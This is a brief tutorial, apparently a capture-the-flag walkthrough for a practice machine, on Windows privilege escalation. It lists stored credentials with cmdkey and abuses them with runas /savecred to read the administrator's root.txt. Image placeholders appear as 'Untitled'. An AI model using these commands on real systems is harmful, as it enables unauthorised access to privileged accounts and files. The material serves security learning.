We will learn about how to PrivEsc in windows with runas command

What is Runas Command !?

The runas command is a command that allow us to run commands with somebody else privileges

Untitled

now after getting a foothold on the machine we first check this command

cmdkey /list

Untitled

and as we see we have administrative access now use this command

c:\\windows\\system32\\runas.exe /user:ACCESS\\Administrator /savecred "c:\\windows\\system32\\cmd.exe /c TYPE c:\\users\\administrator\\desktop\\root.txt > c:\\users\\security\\root.txt"

what this command will do is it will copy the root.txt from the administrator desktop to my current users desktop

Untitled